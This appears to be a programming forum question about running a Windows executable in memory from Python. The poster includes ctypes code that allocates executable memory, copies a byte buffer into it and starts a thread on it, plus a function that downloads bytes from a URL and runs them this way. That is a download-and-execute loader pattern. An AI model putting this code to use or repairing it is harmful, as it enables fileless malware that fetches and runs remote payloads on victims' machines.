title: Python Run EXE in memory
body: <p>I'm trying to execute a .exe in memory in python
  but is not working...
  any help?</p>
  
  <p>the error: Process finished with exit code -1073741819 (0xC0000005)..
  only one .exe in python works.. (converted from python to exe)</p>
  
  <p>the code is passed by this function via parameter... its a byte array</p>
  
  <pre><code> def executar(code):
      ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
      buf = (ctypes.c_char * len(code)).from_buffer(code)
      ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(code)))
      ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
      ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
  </code></pre>
  
  <p>Im trying several .exe files....
  Im fallowing this post here: 
  <a href="https://medium.com/@AntiSec_Inc/combining-the-power-of-python-and-assembly-a4cf424be01d" rel="nofollow noreferrer">https://medium.com/@AntiSec_Inc/combining-the-power-of-python-and-assembly-a4cf424be01d</a></p>
  
  <pre><code> def downloadandExecute(url): 
       response = requests.get(url) 
       code = bytearray(response.content) 
       executar(code)
  </code></pre>
  
  <p>but the error persists</p>